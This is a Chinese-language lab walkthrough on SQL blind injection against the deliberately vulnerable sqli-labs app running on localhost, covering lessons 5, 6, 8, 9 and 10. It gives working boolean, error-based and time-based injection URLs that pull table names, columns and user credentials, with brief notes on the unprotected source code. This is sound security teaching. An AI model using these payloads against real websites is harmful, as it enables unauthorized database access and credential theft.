预备知识
SQL盲注
1)SQL盲注介绍
盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。盲注分为三种类型:基于布尔的SQL盲注、基于时间的SQL盲注、基于报错的SQL盲注。
2)关于SQL基础语句
增:
insert into tableName(columnName1,columnName2) values(value1,value2)
删:
delete from tableName where …
改:
update tableName set columnName=value where …
查:
select * from tableName where …
3)Information_schema数据库基本表说明:
schemata表:提供了当前mysql实例中所有的数据库信息,show databases的结果就是从该表得出。具体表可通过phpstudy中MySQL管理器查看。
tables表:提供了关于数据库中的所有表的信息,即表属于哪个schema,表的创建时间、表的类型等,show tables fromschemaName的结果就是从该表得出。
columns表:提供表中所有列信息,即表明了表中所有列及每列的信息,show columns from schemaName.tableName的结果就是从该表得出。
phpstudy介绍
phpStudy是一个PHP调试环境的程序集成包。该程序包集成最新的Apache+PHP+MySQL+phpMyAdmin+ZendOptimizer,一次性安装,无须配置即可使用,是非常方便、好用的PHP调试环境。
实验目的
掌握SQL盲注的基本方法、常用函数、测试流程。
实验环境
操作系统:win10。
辅助工具:firefox、phpstudy。
实验步骤一
我们的任务分为2个部分:
都是先根据报错信息查看到SQL语句中如何闭合参数,同时我们构造语句进行注入。
1.基于布尔型的SQL盲注,同样是表名→列名→字段值的顺序进行爆破。
2.基于报错型及时间型的SQL盲注。
任务描述:突破lesson-5的实验,基于布尔型的SQL盲注,按照表→列→值的顺序,最后查看后台源代码。
1.启动phpstudy,打开http://localhost/sqli-labs-master/,点击page-1后:
2.点击GET-double injection - single quotes-string less-5,进入如下图实验界面:
3.根据提示加入id参数在url中,可以看到他不再像前面报错注入一样回显有效信息,而是一段you are in…的字符串。如果输入正确提示you are in…输入错误则会报错。同样我们加入单引号,可以看到报错了,报错信息中提示我们输入的id参数使用单引号闭合,我们后面加入注释符即可注释掉原本后面的SQL语句。
4.接着我们可以根据他是否报错来判断我们需查询的语句是否正确。
http://localhost/sqli-labs-master/Less-5/?id=1'and left(version(),1)=5--+
可以看到数据库版本是大于等于5.0的。
5.可以利用ascii及substr函数来判断substr所截取的字符串的ascii码值为多少,得出当前的字母,可以利用二分法快一点,同时也可直接利用burpsuite来爆破出当前值,当然也可以写脚本自己跑出来。
http://localhost/sqli-labs-master/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100--+
这里limit 0,1意味着取第一张表,如果我们想爆破第二张表即可使用limit 1,1,同时这里使用substr(str,start,length)函数截取的是字符串的第一个字符,若想截取第二个字符即可使用substr(str,2,1),依此类推。当我们取到第三张表,对其进行爆破时我们发现它的表名为users。
6.这时我们可以利用regexp正则匹配来获取users表中的列名。
http://localhost/sqli-labs-master/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^us[a-z]' limit 0,1)--+
将正则匹配到最后时即’^username’正确,即得到列名。也可尝试’^password’发现同样返回正确。如果想确定就是这个列名可使用’^username$'。
7.爆出列名之后,我们可以开始尝试试试对应列的值,这儿又使用其他的函数ord(),mid(),IFNULL(),CAST(),其中ord函数相当于ascii函数,求得最左边字符的ascii码;mid函数相当于substr函数,截取一段字符;IFNULL(a,b)函数是来判断,若a为空则返回b,若a不为空则返回a;CAST(str AS int)将字符串转换为目标数据类型,我们可以这样构造URL:
http://localhost/sqli-labs-master/Less-5/?id=1' and ord(mid((select ifnull(cast(username as char),0x20) from users order by id limit 0,1),1,1))=68--+
也可在burpsuite中爆破,这儿给出变量设置及最后结果展示图:
查对应的ascii表可得出第一个username为Dumb。剩下的也一样了。
8.切换到代码中来分析漏洞产生的原因:
可以看到在源代码中没有做任何防护,我们可以在构建SQL语句时闭合前面单引号,注释掉后面的内容。同时看到第33行查询到数据之后,不像之前展示出来,而是输出一段字符串you are in…
实验步骤二
任务描述:突破lesson-6的实验,基于报错型及时间型的SQL盲注,按照表→列→值的顺序。最后查看后台源代码。
1.打开lesson-6,加入参数id,同时加入双引号,可通过查看报错情况得知SQL语句使用双引号闭合。不加入双引号时正常显示。
接下来可以按照实验任务一中的步骤进行爆值,这儿避免重复用报错注入及延时注入的方式。
2.首先报错注入,这里会列举floor()、extractvalue()、updatexml()、NAME_CONST()四种函数进行演示。这次使用floor函数。
http://localhost/sqli-labs-master/Less-6/?id=1" and (select 1 from (select count(*),(concat(database(),0x7e,floor(rand(0)*2)))x from information_schema.tables group by x)a)--+
3.还可以使用上一节中的extractvalue函数。
http://localhost/sqli-labs-master/Less-6/?id=1" and extractvalue(1,concat(0x7e,(select@@version),0x7e))--+
4.同样updatexml函数也可以。
http://localhost/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,(select@@version),0x7e),1)--+
5.利用数据重复报错也可以,使用NAME_CONST函数。
http://localhost/sqli-labs-master/Less-6/?id=1" and (select 1 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+
6.报错注入举了前面的例子,当然还有很多,等你去发现。下面可以尝试延时注入,延时注入可以使用sleep函数,以及benchmark函数,首先看一下sleep函数,可以使用:
http://localhost/sqli-labs-master/Less-6/?id=1" and if(mid(user(),1,1) like 'l',sleep(5),1)--+
7.接下来可以试试benchmark函数。
http://localhost/sqli-labs-master/Less-6/?id=1" union select (if(substring(db,1,1)=char(115),benchmark(10000000,sha(1)),null)),2,3 from (select database() as db) as a--+
8.切换到代码中来分析漏洞产生的原因:
同样没有做任何过滤,可以看到id用双引号包起来之后,传入SQL查询语句,36行代码处也只显示you are in…字符串。
实验步骤三
任务描述:突破lesson-8的实验,基于布尔型、延时型的SQL盲注,按照表→列→值的顺序。最后查看后台源代码。
1.打开lesson-8,加入参数id,正常显示:
http://localhost/sqli-labs-master/Less-8/?id=1
而当加入单引号时,出现错误,却没有提示错误的地方。
2.那么我们除了不能使用报错注入之外,其余的延时注入、布尔型注入同样都是可以使用的。
http://localhost/sqli-labs-master/Less-8/?id=1' and left(version(),1)=5--+
3.接下来的步骤和前面任务一、二的步骤就一样了,这里不再赘述。
4.我们去代码层查看源代码:
可以看到44、45、46行报错的信息被注释掉了。同样在SQL查询语句中没有做任何防护,除了报错注入不能使用,他不会返回错误信息之外,基于布尔值的注入,基于时间的注入都能使用。
实验步骤四
任务描述:突破lesson-9的实验,基于延时型的SQL盲注,按照表→列→值的顺序。查看后台源代码。
1.打开lesson-9,加入参数id,正常显示:
http://localhost/sqli-labs-master/Less-9/?id=1
而当加入单引号时,也没有任何不同。
2.我们可以看到它的源代码中:
在第37及45行中无论是否出错都会显示出you are in…故我们也不能通过基于布尔型的盲注,通过语句构建正确错误时页面的不同展示来判断了,只能使用最后一招延时注入。
3.延时注入,首先猜测表名:
http://localhost/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117,1,sleep(5))--+
得到第三张表的表名第一个字符为u,此处报错才延时5秒,若猜对直接返回。
第二个字符:
http://localhost/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),2,1))=115,1,sleep(5))--+
得到第三张表的表名第二个字符为s。
依次往下走,可以得出第三张表的表名为users。
4.得到表名之后猜取列名。
http://localhost/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((selectcolumn_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105,1,sleep(5))--+
得到users表中第一列的列名的第一个字符为i。
依次往下,可得出列名为id,username,password。
5.得到列名之后可以猜取字段值。
http://localhost/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))--+
得到用户名的第一个字符为D。
依次往下,可以得到用户名及密码。
实验步骤五
任务描述:突破lesson-10的实验,基于延时型的SQL盲注,按照表→列→值的顺序。查看后台源代码。
1.打开lesson-10,加入参数id:
http://localhost/sqli-labs-master/Less-10/?id=1
加入单双引号也没有任何不同。
2.可以来到代码层查看源代码:
可以看到第29行,相比实验9只是使用双引号闭合而已,同样仅仅需要将实验九中的闭合符号改为双引号即可。如下图: